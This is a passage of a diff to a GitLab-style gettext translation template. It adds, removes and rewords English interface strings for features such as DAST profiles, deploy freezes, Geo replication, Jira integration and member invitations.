+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
